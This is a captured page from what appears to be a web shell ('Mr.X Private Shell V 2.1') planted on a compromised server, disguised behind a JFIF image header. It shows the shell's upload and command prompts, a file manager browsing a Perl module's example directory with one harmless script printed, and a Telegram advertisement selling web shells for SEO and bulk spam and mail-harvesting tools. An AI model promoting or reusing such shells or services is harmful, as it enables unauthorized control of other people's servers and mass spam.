����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
/usr/bin/perl -w
#
# tld - generate a regular expression that matches the Internet
#       top level domains
#
# You can also specify an indent value to pretty-print the
# resulting regexp. This example gives you a very good insight
# as to how the alternations are sorted, busiest to least.
#
# Copyright (C) David Landgren 2005

use strict;

use Regexp::Assemble;

my $indent = shift || 0;

eval "use Net::Domain::TLD";
$@ and die "You must install Net::Domain::TLD to run this example\n";

my $re = Regexp::Assemble->new->add( Net::Domain::TLD->new->All );

print $re->as_string(indent => $indent), "\n";

Filemanager

DIR : / usr/ share/ doc/ perl-Regexp-Assemble/ examples/
Name Type Size Permission Actions
hostmatch Folder 0755
assemble File 4.88 KB 0644
debugging File 2.82 KB 0644
failure.01.pl File 1.56 KB 0644
fee File 284 B 0644
file.1 File 20 B 0644
file.2 File 21 B 0644
file.3 File 16 B 0644
file.4 File 19 B 0644
ircwatcher File 1.14 KB 0644
naive File 1.43 KB 0644
roman File 610 B 0644
stress-test.pl File 2.73 KB 0644
tld File 608 B 0644
track-5.10 File 308 B 0644
unquotemeta File 395 B 0644